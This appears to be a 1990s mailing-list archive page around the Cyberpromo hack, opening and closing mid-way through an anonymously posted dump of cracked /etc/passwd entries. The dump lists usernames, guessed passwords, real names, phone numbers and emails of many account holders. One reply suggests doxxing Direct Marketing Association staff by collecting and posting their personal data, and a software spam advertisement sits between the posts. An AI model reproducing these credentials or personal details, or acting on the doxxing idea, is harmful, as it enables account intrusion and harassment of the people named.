[SCOUT]] Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh] Guessed autoreply [autoreply [NORTHLAN]] Karen Nelson,Northland Specialty Products,218-727-8641,rnelson(a)cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh] Guessed money4u [money4u [KELLY]] PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed stealdeals [stealdeals [ENERGIZE]] Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh] Guessed gcmkt [gcmkt [CRAWFISH]] Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh] Guessed autofuture [autofuture [CADILLAC]] Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh] Guessed freeway1 [freeway1 [SLACKER]] Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh] Guessed jl [jl [MILAGROS]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed bewealthy [bewealthy [GREENBAC]] John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh] Guessed freeinfo [freeinfo [CHICLET]] Alan Lange,,, [etc_passwd.fixed /bin/tcsh] Guessed deepbreath [deepbreath [ANANDA]] Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh] Guessed gcprod [gcprod [PRODUC]] Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh] Guessed infocenter [infocenter [ACCUSER]] Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh] Guessed grants [grants [TERESA]] Victor Chapman,CM Consulting,516-377-3307,roger7891(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed vision [vision [THUNDER]] Paula Stoup,,717-783-6465,paulas1043(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mikeplus1 [mikeplus1 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed srdcorp [srdcorp [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed bncentprs [bncentprs [JESUS]] Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh] Guessed shamrock [shamrock [CYPRESS]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed dlbedding [dlbedding [CHANCE]] Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed frsecurity [frsecurity [THISISIT]] Robert Davis,,803-667-0702,jdr02(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed david [david [REBECCA]] David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh] Guessed pegasustrv [pegasustrv [LIZZIE]] Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh] Guessed employnews [employnews [INGRID]] Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh] Guessed carproinc [carproinc [GROSS]] Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed alexis [alexis [WHALES]] Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh] Guessed topscan [topscan [JUSTIN]] David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh] Guessed mattken [mattken [INWOOD]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed travelagt [travelagt [GOLDIE]] David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh] Guessed coupons [coupons [DISKETTE]] John Hendrix,,, [etc_passwd.fixed /bin/tcsh] Guessed salesunlim [salesunlim [COYOTE]] Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh] Guessed incomeplus [incomeplus [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed lecram [lecram [BARUCH]] Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh] Guessed mortgage [mortgage [PEANUT]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed ucan2 [ucan2 [NAMASTE]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed hotbiz [hotbiz [ALBERTA]] Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh] Guessed sjsent [hotbiz [ALBERTA]] Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh] Guessed findout [findout [SWISHER]] Ben Vann,Blue Whale Media,910-785-9296,bvann(a)whalemail.com [etc_passwd.fixed /bin/tcsh] Guessed prosper [prosper [SITUATIO]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed iaplus [iaplus [SALOME]] Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh] Guessed light [light [RAYMOND]] AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh] Guessed cheapcalls [cheapcalls [MAGICAL]] Richard Rubenstein,,219-864-2501,rnr(a)pla.net.net [etc_passwd.fixed /bin/tcsh] Guessed bigprofits [bigprofits [DROSOPHI]] Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits(a)writeme.com [etc_passwd.fixed /bin/tcsh] Guessed powernow [powernow [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed drchris [drchris [PSYCHE]] Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh] Guessed amnat1 [amnat1 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed amsquare [amsquare [MOOSEHEA]] Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed answers [answers [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed freeads [freeads [BATMAN]] Bill Guting,,,awt(a)cwnet.com [etc_passwd.fixed /bin/tcsh] Guessed college [college [KELLY]] Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed powerad [powerad [DENTAL]] Juanita Boivin,,,urwlthybiz(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed newbuss [newbuss [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed classads [classads [WINTER]] Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh] Guessed zee [zee [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed disease [disease [MOOSEHEA]] Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed steveplus [steveplus [GIANTS]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed matco [matco [PRAISE]] John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh] Guessed legalwon [legalwon [CRITTER]] Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh] Guessed siteone [siteone [CIRCLE]] Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh] Guessed sandman [sandman [BLASTER]] Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh] Guessed disneygroup [disneygroup [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed sevenmil [sevenmil [DOROTHY]] Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed adman [adman [CRYSTAL]] Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh] Guessed solar1 [solar1 [SHOPPING]] Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh] Guessed b6024 [b6024 [PATIENCE]] Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh] Guessed online [online [LOVER]] Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh] Guessed invest [invest [CRYSTAL]] Benjamin Ice,,,jammerjoe(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gocell [gocell [AMANDA]] Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh] Guessed donow [donow [TURNAROU]] Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh] Guessed laptop [laptop [MUSIC]] Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed mktgconcepts [mktgconcepts [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131,rhutton(a)idt.net [etc_passwd.fixed /bin/tcsh] Guessed wholesaleprices [wholesaleprices [MARIAM]] Mohammad Hanif,,972-669-2223,compumart(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed removeme [removeme [ERASER]] Dave Mann,,, [etc_passwd.fixed /bin/tcsh] Guessed allnatural [allnatural [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed welltrend [welltrend [BUMBLE]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed mquest [mquest [OOPS]] Phil Brown,Merchant Quest,541-742-6206,pbrown(a)pdx.oneworld.com [etc_passwd.fixed /bin/tcsh] Guessed health [health [JESUS]] Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh] Guessed rcenterpi [rcenterpi [HALFWAY]] Ron Mayfield,,417-445-2602 or 417-445-6797,roncan(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed tvlsecrets [tvlsecrets [CAVIAR]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed protection [protection [MOOSEHEA]] Doug Peterson,,, [etc_passwd.fixed /bin/tcsh] Guessed robtym [robtym [MAKEMYDA]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed networkes [networkes [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed helpme [helpme [CORKIE]] Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh] Guessed profile [profile [METHOD]] Joe Kuhn,908-220-1110,qwikmail(a)raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh] Guessed adna1 [adna1 [MAYE]] Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh] Guessed response [response [STINKY]] Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh] Guessed anyahu [anyahu [ANKLES]] Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh] Guessed secret1 [secret1 [ALEXANDR]] John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh] Guessed ezwork [ezwork [ACCESS]] Glenda Smith,,216-291-4589,gs72895(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed herb [herb [TINSEL]] Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh] Guessed cash [cash [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed choice3 [choice3 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed yucan2 [yucan2 [OLIVER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed rainbow [rainbow [WILBUR]] Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh] Guessed choice4 [choice4 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed jeps318 [jeps318 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh] Guessed mortgages [mortgages [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed blizzard97 [blizzard97 [BETSY]] David Woldt,,605-886-3654,turbo41(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mecca [mecca [BACKWARD]] Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed teezer [teezer [TEASER]] Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh] Guessed help4u [help4u [MINERAL]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed free800 [free800 [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed bdbem [bdbem [ANNIE]] Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh] Guessed tpn1996 [tpn1996 [TALONS]] Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh] Guessed rdlpinfo [rdlpinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed healthwealth [healthwealth [JESUS]] Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh] Guessed eleven [eleven [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed infosales1 [infosales1 [BEAR]] Steve Crockett,,904-857-7717,infosales1(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed secrets [secrets [PICKUP]] Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh] Guessed marketinfo [marketinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed kangaroo [kangaroo [LYDIA]] Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh] Guessed wealth [wealth [KELLY]] Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh] Guessed difaznet [difaznet [GORDO]] Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh] Guessed bizopp [bizopp [ALBERTA]] Ted Benedict,,, [etc_passwd.fixed /bin/tcsh] Guessed offshore1 [offshore1 [JAMAICA]] Denise Cook,Marketing Ect Trust,602-979-4844,dicook(a)sisna.com [etc_passwd.fixed /bin/tcsh] Guessed diet30 [diet30 [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed sales [sales [CARRIER]] Brad Konia,,610-437-1000,brad(a)fastcolor.com [etc_passwd.fixed /bin/tcsh] Guessed blessdlife [blessdlife [SUNSHINE]] Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed jeps317 [jeps317 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh] Guessed souvenirs [souvenirs [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed sjs [sjs [ALBERTA]] Steven Spohn,,610-987-9272, [etc_passwd.fixed /bin/tcsh] Guessed winwes [winwes [ANKLES]] Doug Sutton,,905-567-1874, [etc_passwd.fixed /bin/tcsh] Guessed mattkenn [mattkenn [INWOOD]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed yknott [yknott [TRICKY]] Rick Brittain,,,rick(a)y-knott.com [etc_passwd.fixed /bin/tcsh] Guessed psolutions [psolutions [STEPHANU]] John Miner,Prime Solutions,818-752-2058, [etc_passwd.fixed /bin/tcsh] Guessed go2zero [go2zero [MEREDITH]] Alan Dechart,,503-626-6269, [etc_passwd.fixed /bin/tcsh] Guessed oppty [oppty [MCVEY]] Bryan Johnson,,614-888-2007, [etc_passwd.fixed /bin/tcsh] Guessed dorita [dorita [ZAPATA]] Quentin R. Hopper / Dora E. Martinez,Ouachita's Online Network,210-681-0256, [etc_passwd.fixed /bin/tcsh] Guessed bravonfo [bravonfo [PHONECAR]] Chuck Hatcher,,972-466-3723,ck3723(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed amnat2 [amnat2 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed dpomanual [dpomanual [PASSWORD]] Erika Thompson,L.J. Howard & Assoc.,909-683-1121,akiredanee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed perfectcel [perfectcel [OCCASION]] Paul Herbst,,516-475-6831, [etc_passwd.fixed /bin/tcsh] Guessed emergroup [emergroup [GARFIELD]] Liesl Peterson,Emerald Group,507-345-3730, [etc_passwd.fixed /bin/tcsh] Guessed internet4u [emergroup [GARFIELD]] Donald Goss,,908-396-1438, [etc_passwd.fixed /bin/tcsh] Guessed freeadds [freeadds [BATMAN]] Bill Guting,,916-393-2334,awt(a)cwnet.com [etc_passwd.fixed /bin/tcsh] Guessed powernet [powernet [ZAINAB]] Omer Shommo,,312 247-9051, [etc_passwd.fixed /bin/tcsh] Guessed capsinfo [capsinfo [CELEBORN]] Dan Roady,Caps,707-545-5944, [etc_passwd.fixed /bin/tcsh] Guessed monoi4you [monoi4you [TAHITI]] Laurent Hercy,Monoi Cosmetic,310-450-0145, [etc_passwd.fixed /bin/tcsh] Guessed choice [choice [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed powerfulu [powerfulu [LAGER]] Margaretha Murphy,MSM Communications,212-249-8244,mmcom77(a)mail.idt.net [etc_passwd.fixed /bin/tcsh] Guessed sunsetpub [sunsetpub [CESSNA]] John Fraine,,941-732-1872,hirate(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed max [max [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed dsconcepts [dsconcepts [DOLLARS]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed infoforme [infoforme [BBALL]] Dan Ellenwood,,864-862-0298, [etc_passwd.fixed /bin/tcsh] Guessed ansinfo [ansinfo [VACATION]] Adam Sciuto,ANS Enterprises,609-646-6933, [etc_passwd.fixed /bin/tcsh] Guessed choice2 [choice2 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed intervest [choice2 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed tpn [tpn [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed howto [howto [MELODY]] Michael Piompino,,908-493-3808,m1112m(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed specsit [specsit [SITUATIO]] Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh] Guessed green [green [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed pixel [pixel [GRAYSON]] Scott Thede,Forward Design,612-702-0811, [etc_passwd.fixed /bin/tcsh] Guessed cstone [cstone [CORNERST]] John McKenna,,409-687-2308, [etc_passwd.fixed /bin/tcsh] Guessed travelbiz [travelbiz [CANADA]] Thomas Cox,954-925-8132,dodger3@laker.net,dodger3@laker.net [etc_passwd.fixed /bin/tcsh] Guessed ezine [ezine [RUSSELL]] Jim Daniels,,401 231-9665, [etc_passwd.fixed /bin/tcsh] Guessed freead [freead [RUGBY]] Jim Carlberg,Rugby America,217-793-7275, [etc_passwd.fixed /bin/tcsh] Guessed free1996 [free1996 [JESSICA]] Lyle Larson,,206-865-9000, [etc_passwd.fixed /bin/tcsh] Guessed information [information [GIBBERIS]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed makemoney1 [makemoney1 [EBONY]] Kymberlie Varriano,,206-322-2074,songbird55(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed homeall [homeall [GABRIEL]] Virgilio Gonzales,,619-744-0719, [etc_passwd.fixed /bin/tcsh] Guessed bewell [bewell [CRYSTAL]] Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh] Guessed jbdjerseys [jbdjerseys [CHUNDER]] John Paskoff,JBD Jerseys,516-799-6660, [etc_passwd.fixed /bin/tcsh] Guessed carolmc [carolmc [BIRDS]] Carol Cyr,C + C Specialty Products,417-345-6002, [etc_passwd.fixed /bin/tcsh] Guessed cliftyfarm [cliftyfarm [BARTON]] Tommy Thompson,,901-642-1495, [etc_passwd.fixed /bin/tcsh] Guessed pre [pre [MONEYMAK]] Ryan Edwards,,301-596-0498,launchepub(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed bdywise [bdywise [DRAKES]] Greg Olson,Olson & Associates,308-237-3000, [etc_passwd.fixed /bin/tcsh] Guessed kaboom [kaboom [CHICLET]] Alan Lange,,800-864-8444, [etc_passwd.fixed /bin/tcsh]

1 0

Re: Cyberpromo hacked
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:lharrison@mhv.net to Harka <=- In> At 05:00 AM 3/21/97 -0500, you wrote: > >http://www.anonymizer.com:8080/http://www.cyberpromo.com In> Cyberpromo is apparently blocking anonymizer's access to its In> page. It also had a statement that they believe they know the In> identity of the hacker which they have turned over to the In> authorities. Yes, have experienced the same thing. "Connection call failed". Seemingly a lot of people have checked out their (hacked) page anonymously and they must have disliked that idea a lot... Which brings out a whole new issue though: is there a way besides the Anonymizer to view a page anonymously? Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzSWRDltEBIEF0MBAQHEOwf+PJjZl7cghkxE1FMIzemUQI4D7S3KlHpl /ADKegTj6H46LgxU8TJoKqihlS+mCrX8TqT4C3KsDinNBnjqDl6BoawndEjlKhke 4+miPz97k3iQArO/M3FxGU1bRtJO6r4fQl7up40awewC807z6228p8CZu5JwNALf ev7Rz1bzCqCdQUXGm47fFRimkNviYPut1IRwW2v0vdF1mncVNmWobGKZBuRDoSce 3+EXf5yxOZJvEaRjBYiZ0KvXSserH90tnLBg+4T+utLmw7QprpIiS/aBx4wxyDd+ fjT2yfKyzPUguy3+d5hQF0UXV3bsTiVqI6wHdldrKrp+WgIqn2vjPA== =SwHo -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

2 1

Re: "why privacy" revisit
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:jonathan@gaw.net to Harka <=- In> when i talk to people like the Direct Marketer's Assn., they honestly In> don't understand what the fuss is about. Their attitude is, quite In> literally, "What's the harm being done here?" In> what do you think the community interested in privacy protection can In> do to best illustrate to the general public the "harm" in the In> collection of personal information? Information warfare. Collect information about DMA people, using their own weapons against them. Then post it somewhere on the Internet via remailers and cc themselves, Reuters and the New York Times... Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw== =rbtn -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

1 0

Save over 50% on Microsoft Office Pro 97 & Select Phone !!!
by dlane＠ultragrafix.com 17 Dec '03

17 Dec '03

----------------------------------------------------------------------- Special #1 - Save over 50% on Microsoft Office Professional 97 (FULL Version) These are brand new Full Versions that we are selling for $275.00 This product usually retails for $585.00 in popular stores such as Comp USA and Computer City. Please call us at (817) 557-4945 for more information. Microsoft Office 97 includes new versions of each of the component applications, including Microsoft Word, Microsoft Excel, the PowerPoint® presentation graphics program and Microsoft Access, as well as the new Microsoft Outlook. Common to these Office 97 applications is the integration of new Internet technologies. Please call us at (817) 557-4945 to order by all major credit cards. Shipping is $5.95 for U.S. orders Shipping is $9.95 for Canadian orders Shipping is $19.95 (US) for International orders ----------------------------------------------------------------------- Special #2 - 70% OFF Select Phone We just acquired the last 100 copies of the 1996 (2nd Edition) Select Phone cd-rom software. We are selling the remaing quantities for only $29.95* The newest version currently sells for $99.95 at major computer stores including Computer City! Select Phone contains over 95 million White & Yellow Page Listings on 6 CD-ROMs! It is the most popular software for creating business leads for marketing and sales purposes. With Select Phone, you can find anyone, anywhere, anyway you want! If it's in the phonebook, it's on these 6 CD-ROM's. You can search for a listing using any combination of seven different parameters: name, street, city, zip code, state, phone number, even business SIC codes. You can also use it to locate those long lost friends. Select Phone lets you export unlimited listings to Word, Access, Lotus, and many other applications. The included MapView software displays selected listings on a map and even gives you exact mileage between those listings. The program runs under Windows 3.1, Windows 95, Windows NT, Dos, and Macintosh System 7. * Plus $4.95 for shipping and handling to anywhere in the U.S. * Canadian Orders please include $7.95 for shipping cost * All other International Orders please include $12.95 for shipping To order Select Phone 96 send check or money order for $34.90 to: Global Tech 2000 PO Box 173127 Arlington, Tx 76003 *** (Please allow 4 weeks for delivery on check orders) *** or call (817) 557-4945 to order by all major credit cards You can also fax your order to us at (817) 557-9608 Please Include: Name, Address, Phone Number, Credit Card #, and expiration date on your faxes !!! ******************************************************************* Please Note - All remove requests will be honored and enforced by our postmaster. If you'd rather not receive offers for large discounts on software in the future (usually about 1 per month) simply reply with "REMOVE" in the subject line of your email and you will be deleted immediately from any further mailings by our system. Thank You *******************************************************************

1 0

some /etc/passwd stuff from Cyberpromo
by Secret Squirrel 17 Dec '03

17 Dec '03

A little mouse just came into my house and said that the following uz3rz at cyberpromo.com have the following passwords: - Ignoramus. Guessed broot [<no-ciphertext>] System Administrator [etc_passwd.fixed /bin/csh] Guessed box12 [box12 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed valscan [valscan [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box8 [box8 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed greatsex [greatsex [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed makemony [greatsex [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed greatads [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed vic [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box2 [box2 [SINGER]] [etc_passwd.fixed ] Guessed box7 [box7 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed checknsee [checknsee [DISNEY]] Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh] Guessed fixit [fixit [GEORGE]] Terry Judge,,216-745-9444,amerwtrprf(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed box9 [box9 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed results [results [SINGER]] Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box10 [box10 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed getrich [getrich [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box5 [box5 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box11 [box11 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box3 [box3 [SINGER]] Mike Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box4 [box4 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box6 [box6 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed gics [gics [SINGER]] Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh] Guessed julie [julie [SINGER]] Michael Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box1 [box1 [SINGER]] Michael Singer,, , [etc_passwd.fixed /bin/tcsh] Guessed action [action [SUCCESS]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed simple [simple [SOLUTION]] Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh] Guessed winnernet [winnernet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed newma [newma [DANIEL]] Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh] Guessed coolbreeze [coolbreeze [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed esi [esi [RICHARD]] Richard Damewood,,, [etc_passwd.fixed /bin/tcsh] Guessed freebook [freebook [JOSEPH]] Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldking [goldking [SPECIAL]] Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh] Guessed rav537 [rav537 [NATHAN]] Rich Verhoef,,509-882-4733, 